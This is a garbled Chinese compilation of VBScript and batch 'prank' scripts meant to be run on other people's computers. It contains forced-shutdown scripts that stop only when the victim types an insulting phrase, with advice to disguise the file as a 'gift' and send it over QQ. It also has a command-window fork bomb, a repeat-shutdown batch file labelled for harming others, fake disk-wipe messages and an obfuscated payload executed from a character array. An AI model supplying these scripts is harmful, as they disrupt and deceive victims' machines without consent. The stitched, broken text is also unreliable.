vbs整人代码大集合 多年的代码收集

未知驱动探索，专注成就专业
vbs整人代码大集合
1. 简介
本文档将介绍一些有趣的VBScript (VBS)代码，这些代码可以用于整人、恶作剧或者娱乐。

VBScript是一种微软开发的脚本语言，可以通过各种操作系统上的微软系列产品（如Windows）来使用。

请注意，这些代码仅用于娱乐目的，不应用于恶意活动或任何非法行为。

使用这些代码时，请确保你已经获得了授权。

2. 鼠标移动逃避
这段代码将在屏幕上显示一个小的色块，并在用户试图移动鼠标指针靠近色块时，自动将色块移动到一个随机位置。

```vbs Set objShell = CreateObject(
1。

VBS脚本常用经典代码收集于2011年7月2日21:13:37整理在网上查找资料的时候发现好多经典的vbs 代码，收集起来也为了以后学习。

VBS播放音乐DimwmpSetwmp=CreateObject("WMPlayer.OCX")wmp.openStatewmp.URL二'想象之中.mp3"DoUntilwmp.playState=1WScript.Sleep1000Loop比较流行的VBS整人脚本(保存为礼物.VBE”这样就可以通过QQ发送了)Setshell二CreateObject("WScript.Shell")shell.run"shutdown-s-t60-c 系统即将关闭.",0WhileInputBox("请输入答案"，”请回答")<>"123"'密码是123MsgBox"答案在心中…",16+4096'4096是让窗口在最顶层Wendshell.run"shutdown-a",0MsgBox"恭喜",64修改桌面背景图片Sphoto二"d:\1.bmp"'输入你自己的BMP路径Consthkcu=&h80001Setwmi=GetObject("winmgmts:stdregprov")wmi.getstringvaluehkcu,"ControlPanel\Desktop","Wallpaper",Spathwmi. setstringvaluehkcu,"ControlPanel\Desktop","TileWallpaper","0"wmi.setstringvaluehk cu,"ControlPanel\Desktop","WallpaperStyle","2"wmi.setdwordvaluehkcu,"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced","Listvi ewShadow",1Setwmi=NothingSetfso=CreateObject("scripting.filesystemobject")Setfs=fso.Getfile(Sphoto)backname==fso.GetFileName(Spath)fs.Copyfso.GetParentFolderName(Spath)&"\",True=backnameSetfso=NothingSetws=CreateObject("wscript.shell")ws.Run"gpupdate/force",vbhidews.Run"RunDll32.exeUSER32.DLL,UpdatePerUserSystemParameters"Setws=NothingVBS获取系统安装路径C:'WINDOWS 路径先定义这个变量是获取系统安装路径的，然后我们用"strWinDir" 调用这个变量。

整人bat大全1. 1、@echo offtitle 请勿关闭本程序，否则后果自负！:Nextecho “请输入:“我是猪头三”，否则将关闭计算机!"shutdown -s -t 60 -c “请输入:“我是猪头三”，否则将关闭计算机!"set /p Input=if "%input%"=="我是猪头三" goto EXITgoto Next:EXITshutdown -aecho “算你运气好，下面还有你好看的！”shutdown -s -t 60 -c “请做出选择！否则将关闭计算机！”ping 127.0.0.1 -n 2 >nulecho “你觉得我厉害吗？厉害按“Y”,不厉害按“N”set /p YN=if /i "%YN%"=="Y" shutdown -aif /i "%YN%"=="N" shutdown -ae cho “我要给你看看我的真本事！”ping 127.0.0.1 -n 2 >nul:Downecho “请输入:“你最厉害”，否则将关闭计算机!"shutdown -s -t 60 -c “请输入:“你最厉害”，否则将关闭计算机!"set /p Input=if "%input%"=="你最厉害" goto OVERgoto Down:OVERshutdown -aping 127.0.0.1 -n 1 >nulecho “怎么样，很可怕吧！”ping 127.0.0.1 -n 2 >nulecho “此计算机将在20秒内崩溃或爆炸，请马上从附近窗口跳下，否则后果自负。

”echo “即将删除此计算机上所有重要数据。

”ping 127.0.0.1 -n 1 >nulecho “正在格式化本地磁盘C：所有数据...”ping 127.0.0.1 -n 2 >nulecho “正在格式化本地磁盘D：所有数据...”ping 127.0.0.1 -n 2 >nulecho “格式化失败！，此计算机即将爆炸...”echo “请马上离开本计算机！此计算机即将爆炸！”ping 127.0.0.1 -n 2 >nulmsg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %usern ame% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %usern ame% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %usern ame% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”msg %username% /time:300 “请马上离开本计算机！此计算机即将爆炸！”shutdown -s -f -t 12、@echo offecho 你中招了:astart cmd.EⅩEstart %0goto a@ color 4f@echo offecho 删除计算机的C盘的所有文件......ping 127.0.0.1 /n 2 >nulecho 已删除完毕echo.echo 删除计算机的D盘的所有文件......ping 127.0.0.1 /n 2 >nulecho 已删除完毕echo.。

.整人代码大全让对方重启指定次数 (害人专用 )@echo offif not exist c:1.txt echo. >c:1.txt & goto err1if not exist c:2.txt echo. >c:2.txt & goto err1if not exist c:3.txt echo. >c:3.txt & goto err1sif not exist c:4.txt echo. >c:4.txt & goto err1if not exist c:5.txt echo. >c:5.txt & goto err1goto err2:err1shutdown -s -t 0:err2上面可以让对方电脑重启 5 次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启 6 次改成 7 就是 7 次...打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat ”，你的批量处理器就完成了。

善意恶搞关机首先呢 ,我们在桌面创建个新文件夹然后打开,在上面找到 - 工具 T- 文件夹选项 O-查看把隐藏已知文件类型的扩展名前面的勾去掉.然后我们开始制作 .在桌面建立个记事本 ,然后把下面代码复制进去on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···""",0 ,truedim ado while(a <> "我是猪")a = inputbox (" 说我是猪 ,就不关机，快撒，说"" 我是猪 """," 说不说 "," 不说",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"复制之后呢 ,把后缀修改为 .vbs 或者改变打开方式为应用程序，这样你再压缩下用 QQ 发给你朋友，对方打开了就在60 秒内要关闭计算机，结束任务都不行，他只能说他是猪才能解决问题。

⼀些很恶作剧的vbs程序代码操作⽅法：把代码保存为*.VBS运⾏即可经本⼈亲⾃测试不会出⼤问题的，⼀般都是利⽤⽆限循环，不是死循环，可以通过任务管理器中结束WSCRIPT或cscript进程即可。

复制代码代码如下:domsgbox "hi"loop⽆限制的⽤英⽂报数复制代码代码如下:Set s = CreateObject("sapi.spvoice")i=0dos.speak ii=i+1loop复制代码代码如下:if MsgBox("对不起,您灌⽔太多需要重新启动计算机。

"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel thenmsgbox " 系统将⽴刻重起wow ~_^",,"你上当了！！"Set objShell = CreateObject("Wscript.Shell")objShell.Run "shutdown -s -t 5",,trueend if复制代码代码如下:strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114 for i=1 to UBound(strs)runner=runner&chr(strs(i))nextExecute runner这个没什么，不过加密了，⼤家可以解密试试复制代码代码如下:if MsgBox("你是猪头吗？",vbYesNo,"提⽰")=vbyes thenmsgbox "你SB啊!"elsemsgbox "还不承认!! 作为惩罚，蓝屏⼀下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告"Set ws = 